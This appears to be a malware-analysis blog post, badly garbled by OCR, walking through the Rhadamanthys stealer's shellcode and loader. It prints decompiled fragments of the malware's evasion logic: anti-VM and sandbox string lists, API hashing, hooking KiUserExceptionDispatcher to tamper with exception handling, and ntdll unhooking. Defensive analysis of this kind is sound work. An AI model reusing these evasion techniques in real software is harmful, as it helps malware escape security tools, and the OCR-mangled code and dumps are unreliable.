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Before fixing

SEpBEe BReRea28 [ ------------ -
seghas : Beaaaa2s

seghad: aeee00828 loc_28: ; CODE XREF: sub_@fp

Seglad: aaaaaa2a pop eax

segBed : BRREaa2 inc eax

segBaa: Bpae8ea2A inc eax

seglad: BaREaa2E inc eax

segBed: BRREaa2C moy ecx, [esp+d]

SeglaB i BBeBBee2C ; --------- -

seglen: paeeaeze dword_36 dd 67EB5851h ; DATA XREF: sub_2494Bidr
After fixin

segPae: peaeea2s loc_23: ; CODE XREF: sub_@tp
Seghaa: aaaaaa2a pop eax

Seglas: aaaeeazo inc eax

seglae : paseEa2A inc eax

seglaa: BeeRea2e inc eax

Seglas : eaaeea2C mov ecx, [esp+d]

Segeaa : Baaaaasa

segBla: paeeae3a loc_30: ; DATA XREF: sub_2494Bir
seglad : eaaseasa push BCx

seglad : paeeea31 push eax

segBaa: BaeEaa32 call sub_29E

SEgEaa: aapaas7 retn 4

After defining as function

BBBBBB2E ; =============== S UBROUTINE =s=====ss=s==s==s============
Jeaapaa2s

JeeaaaR23

BBEBBB2E sub 28 proc near ; CODE XREF: sub_@fp
Jeaapaa2s

|BBeeea2s arg 4 = dword ptr 8

(eREaRE2s

Jeekaaa2a pop eax

BaRaeR29 inc eax

| BBEBBE2A inc eax

[BREBEE2E inc eax

[BBeeaa2C mov ecx, [esp-d+arg_4]

[BREaRE3E

‘peppea3e loc_38: ; DATA XREF: sub_2494Bir
[paeRaaze push eCx

| BBEEBE31 push eax

| BEREER32 call sub_29E

‘gepeeaz’ retn 4

Defining as code and defining as function

After doing that, we now have 8 functions in the function name bar.
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J:l

Library function [l

Func O & x
Function name

sub_0
sub_28
sub_3A
sub_77
sub_249
sub_29E
sub_36E
sub_40C

Function bar

Fixing the shellcode: Rebase the address

The last thing we need to do if we want to properly analyze the shellcode alongside the debugger is to match the

addresses. To do it do the following:

1. Go to Edit
2. Segments

3. Rebase program
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File II ump Search  View Debugger Lumina Options Windows Help

% | [ | Copy Ctrl+C A @ ahighah F-#FwmX P
: Begin selection Alt+L
L Select all Data [ Unexplored = External symbol [l Lumina fu
Select identifier Shift+Enter - E= —
Fu o | | Eles. B3 | Eles. B3 | =
Undo Char Ctrl+Z e _ S UBROUTIMNE =
nct Redo Rebase program... Ctrl+Y
fls
st Export data Shift+E § void sub_a()
sub_@ proc near
: Code T call sub 28
51 nop
i mﬁul' Data ) nop
gl @I' Struct var.., Alt+Q ﬂDi
sl -5'!' Strings »
st o2 | Array... Mumpad+*
: loc_8:
x Undefine U inc _—
ﬁ Rename M add al, @
Operand type b loc_B:
Comments 2 I e SEente
segments . H Create segment...
Structs v Edit segrment... Alt+5
Functions g Delete segment...
Patch program r Move current segment...
Other g Rebase program...
Plugins r Change segment translation...
5EEEEE:EEBEEE1A Change segrment register value.., Alt+G
z:ggggggggggis Set default segment register value...

Rebase
4. Change the value to the value of the actual entry point of the shellcode in the debugger

5. Click OK
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i_,‘ Rebase the whole program

Please enter the new

(71 Address of the first segment

(L) shift delta @ Graph | | .7 Log | [ Motes #® Breakpoints
@ Image base 0045 0000 ES 23000000 call 450028
00450005 30 nop

-
L ]
& | 00450006 90 nop
/ o | 00450007 30 i
® | 00450008 40 inc eax
Value | 0x0450000 v e | 00450009 04 0D add al,o
® || 00450008 0059 FC add byte ptr
® | 0045000E 0000 add byte ptr
. ® | 00450010 64:C401 les eax,fwor
Fix up the program e 00450013 005 4CA AF add byte ptr
®| 00450017 91 xchg ecx,eax
Rebase the whaole image el oo4s001s AC 1udgb d
& 00450013 3306 WoOr edx,dwor
e |l 0045001E 03FA add edi.edx
[ 0K J [ Cancel ] [ Help
Rebase

And now we can see that the addresses statically and dynamically the same

FlFor O & x|| Bo.B [FEes.0 [0

) seg@Be : BA45E600
hamclign same Seg000: 00450000
[ ] sub_450000 Seg@Be : BE456600
E sub_450028 seghee : 8156000
sub_45003A i s
sub_450077 Segaen : 09450000
(7] sub_450243 segle : 08450000
E 5U|:]-_-'-1-5U.29E SEE@%IWEM
b B z:gm:ﬁgm
sub_45040C Segaee : Ae450000
Seg@ne : BA450000
SEgeaa : sadseane
Segane : BA450000
Segene : 8450000
o oA« RRA B AaGG

Rebase

Finally, we can start and actually analyze the shellcode

Shellcode functionality

The first thing we can see is that the actual code in shellcode is very small, there are 8\9 functions, and the rest is a

big chunk of data. From this, we can assume that the shellcode will potentially use that data.
So let's “go with the flow” and understand this shellcode

1. sub_450000 just jumps to sub_450028
2. sub_450028 jump jumps to sub_45029E

sub_45029E is a larger function that contains multiple functions.
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Press enter or click to view image in full size

result = sub_458249();
vi = @;
if ( result )
i
va = 8;
sub_45@36E(result, al + 3, v8);
result = ({int (_ stdcall *)(int, _DWORD))vE[2])(64, ai[2]);
v3 = result;

if { result )

vie = a1f2];

if ( vie == sub_450077((int)v8, (int)al + *al - 8, al[l], result, al[2])
&& w18 » Bx28
&R *(_WORD *)(vS + 6) > @x28u )

i
v6 = {{int (_ stdcall *){_DWORD, _DWORD, int, int))vE[©])(©, *(_DWORD *)(v5 + 12), 4095, 64);
vl = ..v:;
if ([ ve )
{
w7 = (_DWORD =){v5 + 48);
sub_45003A(vE, w3, *(unsigned _ intlé *J(v5 + 6));
if { *(_WORD *)(v5 + 4) )
1
do
sub_45803A(vD + v7[1], v5 + *w7, v7[2]);
v3 = (int (__stdcall *}(int, int))({char *)v3 + 1);
v7 4= 3;
while { {unsigned _ intl6}v3 < *({_WORD *)(vS + 4) );
}
v3 = (int (_ stdcall *){int, int)){v2 + *(_DWORD *){v5 + B});
}
H
result = ((int (_ stdcall *)(int))vE[3])(v5);
if ( v3)

return v3(v9, az);
H
¥

return result;

Shellcode functionality

sub_450249

This function access the Process Environment Block to get the address of Kernel32.dll. This behavior is traditional

and happens in many shellcodes.
Press enter or click to view image in full size

Static view Dynamic view

int e_get_Kernel32_from_PEE_sub_a5@249() |
4 |
int ve; /f edi
int vl; J/ esx
int *w2; S eds
int *i; /f eax
_WORD Svd; Sf ecx

Access the PEB . i
sub esp,1s =
va = 85 — sul.esp I_I_[ﬁ ?s,sonns kernel3z.7E780000]
1w *(_DWORD *)(__readfsdword(@x30u) + 12); push esf ECX 00274300 L kerne132.d11"
iF () uzh eds wen, S Sagin
l 45?2‘9 - — EBF QQ1EFESC
w2 = (int *)(vl + 20); omp &ax, ehy ESF  001EFE4C

for { i = *(int **}{vi + 20); i 1= w2; i = (int *}*i }

iF | SUCMORD =)L & 35) = 24 )
i
vi = {_WORD *}i[1@];
£F ( ("wd == "RY || "wa == K'Y BR vA[B] == 't )
return 1[4]; —

} Search for 'k' or "K'
}

return vi;

Get kernel32 address
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sub_45036E

This function gets 3 arguments

1. Kernel32 address
2. Hashes

3. An array that holds 4 functions

It then iterates through the kernel32 export functions and sends the names of the functions to another function

named sub_45040C. The only job of sub_45040C is to hash the function name it receives and return the hash.

Press enter or click to view image in full size

; Dynamic view before function
Static view
- _— — [y = g :::[eb-p-s‘g,;gx- ” =
e_hash_API_sub_ 450480 BYTE *al) mov ey, dwerd prr csifebpscl | Hide FPU
mow ean, ebx “ -
. =g BN TEETIFDS AcquiresRWLackShared
“;ghei:;dmrd per ds:fecx] " EBx  767BO0OD kernel32. 76780000
ean L ECX  TEETOFRC kernel32, 7687OFIC

char i . mov edx, dword prr ssilfebpecl EDX 00450024

untigned Ent wa; JF eci ’c‘:; ;;_;;‘;(r d5e Fegi, ek = g —
int w8; ff eax je 4503E1 =
N ey 1. [esp) TE872FD5 “ACQUIrCSRWLOCKSnared
et e

Dynamic view after function

alt 3> 13) | (result << 19);

¥ Bresigonts | B8 MemoryMep | [ CallStack | S5 5EH | lo)saen | @

mov dword pir sz:febpral, eax =l FPU
moV £CH ,dword ptrc::(ego ] Hide FPU
MmOV eax,ehx

add eax, dword ptr ds:[ecx]
push zax

Eall 45040C

mov edx ,dword ptr s5:[ebpec)
XOF BCX BLX

|——————— -
enp dword pur ds:[edx] ,eax

j:pdsnzsi REreesLedE Drafiault (stdcal)

inC ecx 11 [espr4] 00Z31F6E

Hashing function

Then, sub_45036E checks if the hashed function name matches the hash it got as an argument, if yes, it puts it in
the array and sends it back to sub_45029E.

Overall the functions will be “VirtualAlloc, LocalFree, LocalAlloc, VirtualFree”

sub_450077

This function will decrypt the large data that is stored in our shellcode, and write it to the LocalAlloc we saw. This

beginning of the decrypted data will look like this

Woumpl | Boump2 | @4 Dump3 | % Dump4 | E4% Dump 5 | @8 watch 1 | [x=]Lg
Address | Hex ASCII

DO2020EE |52 52 4C 01|05 00 64 DO|AE SB 00 00|00 C7 01 00 |RSL...d.=[..-G..
002DZ20CS|18 01 00 0O0(DD A8 01 Q0|00 0D OO0 OO|DD OO0 00 D0|.cuee wvennennn.
D02D20DS|AS OC 00 00|00 B7 0] 00|64 00 OO0 00|00 03 00 00| ....-..
002D20ES|Q0 22 01 00|64 22 0l 00|00 25 01 00(80 09 o0 oO| ... A" . Heua. ..
002D20FS| 00 00 OO0 00|00 OO0 00 00|00 00 00 00|00 00 OO OO
00202108 |00 00 00 00|00 00 00 00|00 0O OO0 00|00 00 0O OO

Decrypting data

Next, in the address 00450314, we can see the call for VirtualAlloc, don't forget to observe the allocated memory
using follow in dump of the EAX register (in my case it's 00470000).
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00450309
0045030E
00450310

00450317
004503219
0045031C
0D450321E
00450322
00450323
004503224
00450325
00450328
00450320
00450331
004503323
00450335

ARArATaA
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6A 40
68 00100000

74 39
OFET4E 06
51

56

5D

8D7E 28

EE& ODFDFFFF
66:395E 04
76 1E

EBOT

FF77 08

A

.

OF O SF 0 DF O

1ea edi,dword ptr ds: [egnop
CaTT 45003A nop
cmp word ptr ds:[esi+4] Jnop
jbe 450351 nop
mov eax,dword ptr ds: [ednop
push dword ptr ds:[edi+
- - -

gﬂgn igDD CFO TF O IF 1

push dword ptr ds:[esi+C]

el LastError 00000102 (WAIT_TIMEOUT
| call dword ptr 55:[ebp—14]| Laststatus COD0000D (STATUS_INVAL

e ————

mov dword ptr ebp-4llf7e7rC1856 <kernelzz.virtualAlloc

je 450357 mov edi,edi

MoVEX ecx,word ptr : [gpush ebp

push ecx ov ebp,esp

push esi pop ebp

push eax jmp <IMP.&virtualalloc>

jmp dword ptr ds:[<&virtualallocs]

shellcode functionality

sub_45003A
This function will happen several times and it is basically a memcpy that copies data from one variable to the

other.

unsigned int _ stdcall e_memcpy_sub_458@83A(int al, int a2, unsigned int a3)
1

unsigned int result; // eax

unsigned int i; // [esp+8h] [ebp-Ch]

for ( 1 =8; ; +i )
{ . I3
result = i3
if (i »= a3 )
break;

*(_BYTE *)(i + al) = *(_BYTE *)(i + a2);

return result;

b

copy function

sub_45003A will get the decrypted content and our newly allocated memory as arguments and will copy the data

to it.

B Dump 1
Address

By Dump 3 | HL Dump 4

il Dump 2 bl Dump 5 | B watch 1 | [=] Loy

Hex

00470000
00470010
00470020
00470030
00470040
00470050
00470060
00470070
00470080
00470090
0047 00AD
0047 00BD
0047 00C0
00470000
0047 00ED
0047 00F0
A7 0 0y

copied data

§2 53 4C 01
18 01 00 00
AS 0C 00 00
L0 22 01 00
E4 20 01 00

00
0o
oo
o0
00
oo
00
00
00
00
i

10
oo
oo
oo
oo
oo
00
oo
oo
oo
0

o0
00
o0
o0
o0
0o
o0
o0
o0
00
0

o0
o0
oo
o0
o0
o0
o0
o0
oo
oo
0

05 00 &4 00
A0 A8 Ol 00
Q0 £7 01 00
o2 22 01 00

S0 SC 01 00
00 OF 00 00

oo 00 00 00
oo 00 00 00
oo 00 00 00
oo 00 00 00
o0 00 00 00
oo 00 OO0 00
oo 00 00 00
o0 00 00 00
oo 00 00 00
oo 00 00 00
00 00 00 00

AE 5B 00 00
00 00 OO0 00
64 00 OO0 00

L0 25 01 00
80 72 00 00

00
oo
oo
o0
00
oo
0o
0o
o0
oo
i

oo
oo
o0
oo
oo
oo
00
oo
oo
oo
0

o0
00
oo
o0
00
00
o0
o0
00
00
0

o0
o0
oo
o0
o0
o0
o0
o0
o0
o0
0

Q0 C7 01 00
00 00 00 00|,
DO 03 0D 00| "....-..
B0 09 00 00

S4 AS Q1 00

o0
oo
oo
oo
o0
oo
oo
oo
oo
oo

oo
oo
oo
oo
o0
oo
00
oo
00
oo

oo
oo
oo
oo
oo
oo
00
oo
oo
oo

0o
oo
0o
oo
0o
0o
oo
0o
0o
00

00 00 00y 00

And finally, in the address 00450365, we have a “call ebx” that will take us into this our allocated memory in the

offset 5BAB, and as we can see, it's also another shellcode.
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00450362 FF75 FLC
FFD2

00450367 5F
00450368 5E
00450369 5B
004503 6A c9
004503 6E C2 0800 H
AR GTEE 55 |B|g shellcode
0045036F BBEC mov ebp,e

st push esi
00450371 51 push ecx ov esi,dword ptr ss:[lebp+
DD450372 51 push ecx p Bebp+all
00450373 L3 push ebx
0045037 4 SBSD 08 mov  ebx, dw
00450377 5E push esi
00450378 L7 push edi & 475C1%3
00450379 66: 8138 4D5A |cmp word p E:a‘ﬂ' iTozan
0045037E v OFB5 81000000 |jne 4504050ract cax, eax
00450384 8B43 3C mov eax ,dw je 475013
00450387 03C3 add eax,ebiez ecx.dword ptr ==:Eebp-2
00450389 8138 50450000 | cmp dword 4 P *Hebp-2§
004503 8F * 7 T4 jne 450405
00450391 EE4E8 7B mov eCcx, dw
00450394 B5C3 test ecx,efrect eax,eax
00450396 803419 Tea esi,dwdia 47cc13
00450399 v T4 6A ig 450405

Jump to another shellcode
Summarize the first shellcode

To summarize the entire shellcode activity, we can look at it from a code point of view

Press enter or click to view image in full size

e_get_API_calls_sub 45936E(’e;u t, al + 3, (int)wB);// API hashing + Get API calls to use
result = ((int {_ stdcall *)(int, DWORD))v8[2])(64, al[2]);// Localalloc

Ve = 'e:-u"_:;.

if ( result )}

vie = al[2]; // Decrypting the shellcode

(
&% V1 > 8x28
a&

*(_WORD *){vS + 6) > Bx28u ) P
{

[rag
nn

Vi H

if ( ve )

v7 = (_DWORD *)(v5 48);
e_memcpy_ sub 45%3A(:C v5, *{unsigned _ intle *}{vS + 6));// memcpy
if ( *{ WORD *)}(v5 + 4) )
1
do
{
e_memcpy_sub_45883A(vo + v7[1], w5 + *w7, v
v3 = {int (_ stdcall *)}(int, int))((char *)v
V7 += 33

7[21)3// memcpy
r3

]
+
while ( (unsigned _ intl6)}v3 < *(_WORD *)(v5 + 4} };

= (int (__stdcall *)(int, int))(v@ + *(_DWORD *}{v5 + 8));

result = ((int (_ stdcall *){int))v8[3]}{v5);// LocalFree
if [ v3 )
return v3i(v9, a2); /f Jump to the shellcode

Shellcode functionality

And from the following graph's point of view
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Stepl Step 2
Decrypt the data to the allocatad memory
'. | [ |
Code LocalAtioc Code =
Data Data E:gm?:
b A = A
Step 3 Step 4
Memery allocated via Memory allecated vie
WirtualAlloc LocalAlloc Wirtualdlloc
[ ]
Code .l I
| Copy Decrypted
E - shellcode
Data Decrypted /
shellcode

Second shellcode decryption

The second shellcode aka Rhadamanthys loader

The main objective of this shellcode is to be the actual loader of the Rhadamanthys stealer. This shellcode has

multiple evasion capabilities and we will observe some of them.
Note- In a similar way to the first shellcode, some fixes are needed.
Evasion Technique: Multiple Anti-Analysis

The Rhadamanthys loader contains large anti-analysis checks stolen from the al-khaser project[7]. This project

was also used in the Bumblebee malware.

Some of the checks are checking for a virtual environment
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int e_AK_wvmware_proc_sub BBF3()
{
int we; /S ebx
int *v1; ff esi
int v2; // edi
int v4[5]; // [esp+Ch] [ebp-14h] BYREF

(int}L"vmtoolsd.exe™;

= (int)L"vmwaretray.exe";

= (int)L"vmwareuser.exe";

(int)L"VeauthService.exe™;
)

(int)L"vmacthlp.exe™;
3

I

m

P
e e e

|

if { e_w_CreateToolHelp325napshot_sub BCSB(*vl) )
+vid;

+Hvl;

--w2;

Anti-analysis checks

vd = L"HARDWAREMNNDEVICEMAP\\Scsi\\5csi Port B\\Scsi Bus @8\\Target Id @8\\logical Unit Id 8";
var_array[8] = (int)L"Identifier™;

var_array[1l] = (int)L"VBOX";

var_array[2] = (int)L"HARDWARE\\Description\\System";
var_array[3] = (int)L"SystemBiosVersion™;
var_array[4] = (int)L"VBOX";

var_array[5] = (int)L"HARDWARE\\Description\\System";
var_array[6] = (int)L"VideoBiosVersion™;

var_array[7] = (int)L"VIRTUALBOX";

var_array[8] = (int)L"HARDWARE\\Description\\System";
var_array[9] = (int)L"SystemBiosDate™;

wvar_array[18] = (int)L"86/23/99";

ptr_array = var_array;
w2 = 43
do

if { e_check_in_registry_sub_AE3F(-2147483646, *(ptr_array - 1), *ptr_array, ptr_array[1]) )

Anti-analysis checks

Checks for specific users that could hint about a lab environment
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var_array[@]
var_array[1]
var_array[2] = (int)L"Emily™;
var_array[3] = (int)L"HAPUBWS";
var_array[4] = (int)L"Hong Lee™;
]
]
]
]
]

[e )

t)

)

5
var_array[5] = (int)L"IT-ADMIN";

)

tiL

t)

)

t

= ({int

=(_-|_

L"CurrentUser";
L"sandbox" ;

var_array[6] = (int)L"Jlohnson™;
var_array[7] = (in
var_array[8] = (in
var_array[9] = (int
var_array[18
var_array[11
var_array[12

]
]
]
var_array[12]
1
1
1
1

"Miller™;
'milozs";
Peter Wilson"™;

(in
(int}L"user™;

L

L

L™t immy™ ;

)
(int)}L"sand box™;

)

t)

t)

)

)

(int)}L"malware";

= {int)L"maltest™;

= (int)L"test user™;
= {int)L"virus™;
L"John Doe™;

var_array[14
var_array[15
var_array[16
var_array[17] = (int
result = sub ABBS();
vl = result;
if ( result )
1
ptr_array = var_array;
v3 = 18;
do

1
if ( !ptr_lstrcmpiW(*ptr_array, v1} )

Anti-analysis checks

Check for security-related DLLs

var_array[e
var_array[1l
var_array[2
var_array[3

] (int)L"avghookx.d11";

1

]

]
var_array[4]

]

1

1

1

(int}L"avghooka.dll";
(int)L"snxhk.d11";
= (int)L"sbiedll.d11";
(int)L"dbghelp.d11";
(int}L"api log.d11";
(int)L"dir_watch.d11";
)
t)

var_array[5
var_array[6
var_array[7
var_array[8

= {int)L"pstorec.dll™;
(int)L"vmcheck.d11";
var_array[9] (int)L"wpespy.dl1™;
var_array[18] (int)L"cmdvrte4.dll";
var_array[11l] = (int)L"cmdvrt32.d411";

ptr_array = var_array;
w2 = 12;
do

if { ({int (_ stdcall *}){int))ptr_GetModuleHandle)}(*ptr_array) )

Anti-analysis checks

At this point, it will be useless to continue writing the anti-analysis capabilities, so for those who want to see all,

please visit the al-khaser project GitHub page.

Evasion Technique: Manipulate Exception Handling
One of the most interesting capabilities of the Rhadamanthys loader is exception-handling manipulation.

What is Exception handling?
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According to Microsoft’s documentation[9]: “Structured exception handling (SEH) is a Microsoft extension to C

and C++ to handle certain exceptional code situations, such as hardware faults, gracefully.”
The SEH is basically a linked list that has two pointers:

1. A pointer to the next SEH record

2. A pointer to the function that contains the code to deal with the error

Examples of errors are division by 0, and excessive string length.

stack

top

1

Pointer to next SEH record ;-| Exception_handlerl{)

Pointer to Exception Handler

2 % 4 bvtes

Painter to Exception Handler

2% 4 bytes

[&

Pointer to next SEH record !'| Exception_handler3{}) |

Painter to Exception Handler

{ Pointer to next SEH record * "[ Exception_handler2() J

2% 4 bwtes

OxFFFFFF " 'P| MSVCRT exhandler |

Default exception handler bottam

2 % 4 bytes

Microsoft allows programmers to create their own exception handlers in order to manage errors by themselves.

How the loader uses it?

First, the loader gets the address of ZwQueryInformationProcess, then it saves it on another variable. Eventually,

we enter the function named sub_5978.

Press enter or click to view image in full size

ModuleHandled = ptr GetModuleHandleA("ntdll.d11™);

result = (int (_ stdcall *}(int))ptr_GetProcAddress(ModuleHandleA, "ZwQueryInformationProcess™j);
v3 = result;
if ( result )
1

CurrentProcess_2 = ptr_GetCurrentProcess_2(34, &5, 4);

if ( v3(CurrentProcess_2}) )

vs = @;
result = (int (_ stdcall *){int))({vs & @x28);// Call ZwQueryInformationProcess
if ( (_BYTE)result [= @x2@ )

ptr_ZwQueryInformationProcess_2 = (int (_ stdcall *)}(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD})v3;
return (int (_ stdcall *)(int))e_enable_seh_on_shellcode_2 sub 5978('YL'):

Getting ZwQueryInformationProcess
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In sub_5978, the loader gets the address of KiUserExceptionDispatcher and starts to iterate on it to search for a

specific location where ZwQueryInformationProcess is called.

Press enter or click to view image in full size

ModuleHandled = ptr_GetModuleHandleA("ntdll.dll™);

t = ptr_GetProcAddress(ModuleHandled, "“KiUserExceptionDispatcher™);
= result;

f ( result )

ModuleHandled + *(_DWORD *)(ModuleHandleA + 68); —
result + 1824;

v *(unsigned __intlf *){v4 + 28) + v4 + 24;

result = sub SALD(ModuleHandleA, v4, v7, result);

vB = res

if ( result

) Search for specific location in
while { v3 < v9 ) KiUserExceptionDispatcher

result = sub_S17((unsigned _ int8 *)v3, (int)ve);
if ( result == § && *(_BYTE *)u3 == OXES )

i
v5 = *(_DWORD *)(v3 + 1) + v3 + 5;
result = sub_SAlD(MocduleHandleh, w4, v7, vS); _—
if { result == v& )

return (int)e_hook KiUserExceptionDispatcher_that_calls_to ZwQueryInformaticnProcess_sub_SASC(
ModuleHandleA,
va,
vE,
'.":_5,
(_BYTE *)al);

Iterating in KiUserExceptionDispatcher
In sub_5A5C the loader set the hook in the desired location of the call to ZwQueryInformationProcess

Press enter or click to view image in full size

result = {unsigned _ intE *)ptr_GetProcAddress{al, "IwQueryInformationProcess™);
if { result )
{

R,

1t == BxE3 )
a5 m result + 1;
result = (unsigned _ intd *)((int {_ stdcall *){unsigned _ intd *, int, int, int *))var_VirtwalProtect)(
result + 1,
4)
64,
&al)
if { result )
ptr_InterlockedExchange{as; vé - w7 - 5);
return (unsigned _ int8 *){(int (__stdcall =){_BYTE *, int, int, int *))var_VirtualProtect)(a5, 4, al, &al);

Patch KiUserExceptionDispatcher
So how the change looks like?

In the following image, we can see the call to ZwQueryInformationProcess that happens inside

KiUserExceptionDispatcher from Ntdll as part of KiUserExceptionDispatcher's legitimate behavior.

After the change, we can see that the call was replaced to jump to a function in the loader that will perform the
ZwQueryInformationProcess and will modify the ProcessInformation flag to be 6D or

MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE.
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Why does this flag matters?

This flag determines whether to allow execution outside the memory space of the loaded module. In other words,

it enables exception handling to be performed on shellcode.

Press enter or click to view image in full size

Code from KiUserExceptionDispatcher - before

else

{
sub_7DECBICO{Rv15, Bvid);
vi3 = @;
v3 = sub_7DECBSCF():
vl7 = 1j

if { IwQueryInformaticnProcess{-1, 34, (int)&v1i3, 4, @) >= @ & (v13 & @x48) != 8 )

Code from KiUserExceptionDispatcher - after

else
{
sub_F755BLCO(&vIS, Avid);

vi3 = 8;
: = sulb_7755B5CF();

l)
(-1, 34, 813, 4, @) »>= & &R (Vi3 & 6wdd) != 8 )
vi? = @;
¥
else
Code from the shellcode
int _ stdeall ¢ detour ZwQueryInformationPrecess sub 594C(int al, int 22, _DWORD *a3, int a4, int a5)
{
int rezult; [/ eax
result = ptr_ZwQueryInformationProcess_2{al, a2, a3, a4, a5);
if ( lresult 88 22 == 34 ) /1 vas equal
*a3 |= 32u; /f *a3 was 4D changed to 6D AKA MEM _EXECUTE_OPTION_IMAGE_DISPATCH_EMABLE

return result;

KiUserExceptionDispatcher after the patch

So how the exception handling will be managed?

Without being noticed, the initial dropper has registered an SEH record in the process memory with the name

_except_handler3. Therefore, every exception that will be triggered by the shellcode will go there and will be

managed by whatever logic the author decided.

Press enter or click to view image in full size
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_ﬁCPU 5 SEH . -@-E'qﬂ-. [- '_"7|_°g I_I_—E except_handler3 proc near 3 DA
Hand 1 ey ¥

QO1EFFTE

Q0L1BFFC4 var_8 = dword ptr -8

var_4 = dword ptr -4

arg @ = dword ptr 3§

TargetFrame = dword ptr  @Ch

arg 8 = dword ptr  18h
push ebp
mow ehp, esp
sub esp, §
push ebx
push esi
push edi
push ebp
cld
ma ebx, [ebptTargetframe]
mow eax, [ebp+arg_e]
test dword ptr [eax+4], 6
jnz _1h_unwinding
mow [ebp+war_8&], eax
mo eax, [ebp+arg 3]
mow [ebptvar_4], eax
lea eax, [ebp+var_3]
ma [ebx-4], eax
Do esh, [ebx+8Ch]
o edi, [ebx+8]

_except_handler3
This activity is most likely done to avoid raising suspicions if errors or exceptions anomalies will trigger.
Get Eli Salem’s stories in your inbox

Join Medium for free to get updates from this writer.
Remember me for faster sign in
The entire activity can be seen in the following graph

Press enter or click to view image in full size
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Shellcode

Execute and manipulate

ZwQueryInfonnatioancessJ'\

Nidll.KiUserExceptionDispatcher

Dropper

_except_handler3

4,.--"

Manipulating the SEH

AN

{KiUserExcepﬁonDispacker_functionj

) |

KiUserExceptionDispacker function_2

4]

Call shellcode detour J

-

i

™A

Evasion Technique: Avoiding error message

After controlling the exceptions, the loader will use the API call SetErrorMode with 0x8003 as an argument, this

argument consists of the following three:

1. SEM_NOOPENFILEERRORBOX - The system does not display the critical-error-handler message box.

Instead, the system sends the error to the calling process.

2. SEM_NOGPFAULTERRORBOX — The system does not display the Windows Error Reporting dialog.
3. SEM_FAILCRITICALERRORS — The OpenFile function does not display a message box when it fails to

find a file. Instead, the error is returned to the caller.

In other words, the loader doesn't want the system to display any error on the screen, and wants to handle them by

himself.

Similar to controlling the exception handling, this is another maneuver of the loader to not raise any suspicions.
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({woid {_ stdcall *}({int))ptr_setErrorMode)(@x38863);

setErrorMode

Evasion Technique: Creating Mutex and impersonating a legitimate

The loader continues with creating a Mutex with the name that starts with “Global\MSCTF.Asm.{digits}”.

HuU=Fl L |

push eax

€all dword ptr ds:[<&SetSecurityDescr Default (stdcal)

1ea eax,dword ptr ss:|febp-148) 1: [esp] OO0O1BFCED

push eax 1 2: [esp+q] 0 |
1ea eax,dword ptr ss:|febp-2Cj 2: lesp+8] ODIBFECA L MSCTE.Asm.JC
push esi q: Lespti

push eax 5: [esp+10] 0042F&F8 " !'RHY"

call dword ptr ds:[<&CreateMutexw:]

Creating Mutex

Note that mutexes with this name are already found in the OS and are created by MSCTF.dIl, and more info can be

found in this[10] article.

After creating the Mutex, we moved to a function named sub_2B92 which holds the core activity and the main

purpose of the loader.
Evasion Technique: Disabling hooks

In the function named sub_8060, we see one of the cool tricks of malware to protect themselves against user mode

hooking.

It first gets a handle to ntdIl.dll and loads it to virtual memory, then, the loader gets the handle of the real ntdil.dIl
that is already loaded.

Press enter or click to view image in full size

ntdll = e_allocates_and_write_custom_DLL_sub_8785(@, (int)L"XSystemroot®\\system32\\ntdll.dll");
r_fake ntdll;

tr_fake ntdll )

g4 = ptr_GetModuleHandleA{"ntdll.d1l1");// get the real Ntdll

_ cdecl *)(int, int, _DWORD, _DWORD, unsigned int))sub_B2D3)(
fake_ntdll,

ModuleHandleA - ptr_fake_ntdll,

@,

a,

exceeansel) )

Check for hooks

It will then copy the bytes of the SYSCALL of ZwProtectVirtualMemory into another virtual memory in order to

use it without explicitly using the ZwProtectVirtualMemory in ntdll address space.

Then, it will get the export table of both real and fake modules and will iterate on them. They will be compared
using memcmp, and if they will found different, the loader will change the protection of the real function of ntdll
and will use memcpy to copy the data from the fake to the real one. In this way, the malware verifies that no hooks

are set.

Press enter or click to view image in full size
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fake_export_function = ®w3l + v38;// Getting Take dll export table
real dll export func = ModuleHandleA # v17;// Getting real dll export table
if ( sub_889D(ModuleHandled, ModuleHandled + w17} )

if ( !ptr_IsBadReadPtr(fake_export_function, v37) 88 !ptr_IsBadReadPtr(real_dll_export_function, v37) )

i
e_ptr_memcmp_sub_C35C{fake_export_function, real_dll_export_function, vw37);// Check if prologues are the same
if { vig )
sub_goee(vie, vi3, vis, vl5, wig);
it ( sub_8932() )
{
w2E = 4896;
v27 = real_dll_export_function;
if ( le_tramp_IZwProtectVirtualMemory sub_30@(v26, (int)&v27, (int)8v28, off_de, (int)&v29) )
i
e_ptr_memcpy_C34A(real dll_export_functi fake_export_function, v37);// memcpy from fake to real
e_tramp_ZwProtectVirtualMemory sub_388( (int)&v2 (int)&v28, v29, (int)&w23);
Check for hooks

If we inspect it dynamically, this is a normal state when two functions are compared. We can see that the virtual
address is different but the bytes are the same

Fake function

Address | Hex ASCII

028907A3 | 8B| FF 55 8B|(EC 8B 55 08(52 E8 26 00|00 00 8B 4D |LwU.1.U.Re&....M
02890763 |14 89 01 3B|45 10 OF 87 [9A DE FF FF|8B 45 0OC BS ,..;g....nKy.E..
€z 10 00 90|At.. ....3AJA...

028907C3 | CDO 74 06 83|60 04 00 83|10 33 CO 5D

Real function

Address | Hex ASCII
FFEFOFAZ | 8B FF 55 BB|EC BB 55 08|52 E8 2& 0D |00 OO0 BB 4D .j;fU.:I.U.RE&....H

775707B3|14 89 01 3B|45 10 OF &7 |9A DE FF FF|8B 45 0OC 85|...;E....P¥¥.E..
FFL7FO7C2|CO 74 O6 83|60 04 00 89|10 33 CO 5D(C2 10 00 90|At.. ....3AJA...

Check for hooks

For learning purposes, I changed the first byte of the real function to start with ES. Then, the loader took us to the
memcpy function that copied the data from the fake to the real to correct the change I made.
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Before memcpy (I changed the first byte to E9)

ES EE400000
853C4 0OC
BD45 DC

£all <IMP.&memcpy=
add esp,C
1ea eax,dword ptr ss:[febp-24

|ﬂi'|ﬁ|Dump1 | B4y Dump 2 | B4y Dump 3 | Y pump 4 | B4 Dump 5 ) Watch 1 | [*=] Lo
Address | Hex ASCII

FFLFOFAZ|ES FF 55 BE|EC 8B GG OB8|52 ES 26 00|00 00 8B 4D|EyU.71.U.R8&....M
775707B2 |14 89 01 ZE|45 10 OF 87 (9A DE FF FF (8B 45 0OC 85 ’EDKYE
775707C3|C0O 74 06 83|60 04 00 89|10 33 CO SD|C2 10 00 90|At.. ....3AJA...

After nieml:.p\r (function corrected)

EE EE400000
83C4 OC
8045 DC

€all <IMP.&memcpy=
add esp,C
Tea eax,dword ptr ss:|flebp-2

